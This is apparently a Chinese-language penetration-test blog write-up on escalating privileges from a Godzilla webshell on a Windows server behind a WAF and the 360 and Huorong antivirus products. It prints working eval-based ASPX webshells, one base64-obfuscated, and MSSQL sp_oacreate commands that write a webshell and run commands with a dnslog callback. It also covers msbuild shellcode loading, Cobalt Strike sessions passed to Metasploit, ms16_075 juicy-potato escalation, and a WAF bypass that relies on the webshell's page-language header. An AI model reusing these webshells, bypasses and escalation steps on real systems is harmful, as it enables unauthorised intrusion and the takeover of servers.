绕过WAF和多个防护软件提权案例

简介: 绕过WAF和多个防护软件提权案例

0x01 前言

这篇文章记录的是朋友在某次项目测试中遇到的一个因存在WAF和多个防护软件而无法提权的问题,这次绕防护提权的过程中也是踩了不少的坑,记录分享下。

0x02 测试过程

朋友发过来的是一个asmx的哥斯拉Webshell,说是存在wdf+360+火绒等安全防护,wdf可能已被360或火绒给接管了,所以这里我们主要绕的是360、火绒。


连上Webshell后发现执行不了任何命令,连常规的set、ver、whoami等命令都不行,EXE就更不用说了。


执行时会卡一段时间,没有回显,也不显示:拒绝访问,说明不是360和火绒拦的。

而且哥斯拉的EfsPotato、BadPotota、SweetPotato、PortScan和网络详情等多个功能模块都用不了。


执行时都会卡一段时间,然后直接就结束掉了,360和火绒默认不会拦这些,也不知道是啥防护拦的。

Web根目录下找到一个web.config,里边存储着MSSQL数据库的连接信息,用的是SA用户,这时可以尝试xp_cmdshell、sp_oacreate等方式去执行命令,不出意外直接就能得到SYSTEM。

首先通过sp_oacreate测试写入一个Webshell,发现文件已经被成功写入到指定路径中,这就说明这种方式是可以利用的,但发现在Webshell下没有权限去删除刚写入的这个文件,不知道什么鬼。

    declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'C:\ProgramData\shell1.aspx',1;EXEC sp_oamethod  @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'

    现实并没有我们想象的那么顺利,因为xp_cmdshell默认是调用system32下的cmd,360会对其进行拦截。


    而使用sp_oacreate执行ping、whoami命令时就有看到高权限运行的进程,所以说应该是可以提的。

      declare @shell int;exec sp_oacreate 'wscript.shell',@shell output;exec sp_oamethod @shell,'run',null,'C:\Windows\System32\ping ******.dnslog.cn'

      通过使用ping dnslog和将命令执行结果写入文件等方式发现命令都没有执行成功,也尝试了sqlps、msbuild等白名单获取MSF会话,也都失败了,命令中有无空格结果都一样,不知道什么鬼。

      sqlps、msbuild执行后也有进程,但如果直接去执行指定的木马程序就没有进程,也就是说也没有执行成功。

        C:\ProgramData\msf.exe
        C:\Windows\System32\ping ******.dnslog.cn
        C:\Windows\System32\whoami > C:\ProgramData\1.txt
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe shellcode.xml

        以上只是简单记录了下测试过程中遇到的问题,目前只能执行部分cobaltstrike内置命令,还不能执行系统命令和上线,接下来我们将在本地模拟这个实战场景来演示如何上线和提权。


        0x03 提权过程

        首先我们用cobaltstrike生成一个C的shellcode,将shellcode中的\x"以及多余字符都删除掉,只需留下hex shellcode即可,然后利用哥斯拉工具的shellcode加载模块上线。


        注:不知为啥在这个场景中MSF的shellcode就不行,也尝试了用哥斯拉的Meterpeter也不行,都上线不了。


        但还是执行不了命令/程序,execute-assembly内存加载也不行,这里不太确定是被什么拦的,现在只能执行部分cobaltstrike内置命令,如:getuid、upload、ps等。


        虽然shell命令不能执行,但我们还可以去试下run、execute,结果发现可以使用execute命令去执行免杀的MSF木马上线。


        后边才发现原来可以直接通过cobaltstrike的spawn派生会话,这里有个坑,见文末。


        通过cobaltstrike的spawn进行派生会话时,MSF监听使用的Payload必须与cobaltstrike监听的一致,HTTP或HTTPS,不能使用TCP,否则也可能获取不了会话。


        这时就可以直接利用ms16_075_reflection_juicy模块来进行提权了,下图中可以看到已经利用成功,但是并没有获取到一个新的高权限会话,不过可以直接执行getsystem进行提权。


        注:我们在本地复现测试时发现使用低版本MSF的ms16_075_reflection_juicy模块怎样都提权不了,最后没办法,找朋友借了他的VPS测试了下,结果一次性就成功了,所以说在实战中还是得多尝试!!!


        0x04 注意事项

        如果提权过程中需要迁移进程,但是没有可用的迁移进程,这时可以尝试用execute -Hc -f命令去执行vbc.exe和SQLPS.exe等程序得到一个可迁移进程


        坑点一:

        目标好像存在什么WAF,上传Webshell时并没有查杀,但冰蝎马和其他一些大马、命令执行马在访问时一直转圈圈,没能解析成功,应该是被拦了,只能用哥斯拉asmx马和中国菜刀aspx马。

          <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
          <%@ Page Language="Jscript"%><% eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("ZXZhbChSZXF1ZXN0Lkl0ZW1bImFudCJdLCJ1bnNhZmUiKTs=")),"unsafe"); %>


          为什么普通aspx马都能过呢?经过测试后发现这个WAF好像是根据Webshell声明的文件头来进行拦截的,只要带有Page Language="C#"就会被拦,不知道这是啥WAF,居然没有拦截特征。

            大马/冰蝎/哥斯拉aspx:
            <%@ Page Language="C#" %>
            中国菜刀aspx:
            <%@ Page Language="Jscript" %>
            哥斯拉asmx:
            <%@ WebService Language="C#" Class="WebService1" %>


            坑点二:

            当时朋友告诉我他有试过cobaltstrike派生会话到MSF去提权,但是派生不了,他以为是被防护拦截了,所以我也没有再去测试这个,过于信任他了。

            最后发现是他在cobaltstrike设置的监听端口有问题,当时监听的是21端口,而他的VPS只允许使用60000以上的端口来监听,所以MSF获取不到会话。


            坑点三:

            写这篇文章时发现这台主机已被重启过,这时哥斯拉虚拟终端、cobaltstrike、MSSQL的sp_oacreate都可以执行命令了,但像powershell、net user等高危命令最好还是不要去执行,360仍会拦截。

            最后也没搞明白是什么东西导致出现文中的各种问题,重启以后大多数都没有再被拦了,也不知道是不是重启以后才能派生的会话,如果在防护生效不能派生会话时我们又该如何进行提权呢......?

            相关文章
            |
            2月前
            |
            安全
            WAF绕过 -- and判断
            WAF绕过 -- and判断
            23 0
            |
            2月前
            |
            数据库
            最简单的WAF绕过方式
            最简单的WAF绕过方式
            79 0
            |
            7月前
            |
            SQL 监控 Cloud Native
            基于云原生网关插件实现WAF防护能力
            一起体验云原生网关开箱即用,支持热插拔的WAF防护能力,同时您将掌握云原生网关上的插件使用方式
            402 0
            |
            7月前
            |
            SQL 安全 算法
            Web 应用防火墙 -- 规则防护
            4.4.2 白名单加白 基于请求特征对误报流量加白, 加白后的流量会被 WAF bypass,从而解决误报问题。
            76 0
            |
            8月前
            |
            云安全 机器学习/深度学习 移动开发
            |
            11月前
            |
            SQL 安全 网络安全
            SQL注入-WAF绕过
            SQL注入-WAF绕过
            |
            安全
            WAF绕过 -- and判断
            WAF绕过 -- and判断
            84 0
            WAF绕过 -- and判断
            |
            数据库
            最简单的WAF绕过方式
            最简单的WAF绕过方式
            725 0
            最简单的WAF绕过方式
            |
            数据采集 安全 数据库
            某教程学习笔记(一):23、WAF绕过
            某教程学习笔记(一):23、WAF绕过
            221 0
            某教程学习笔记(一):23、WAF绕过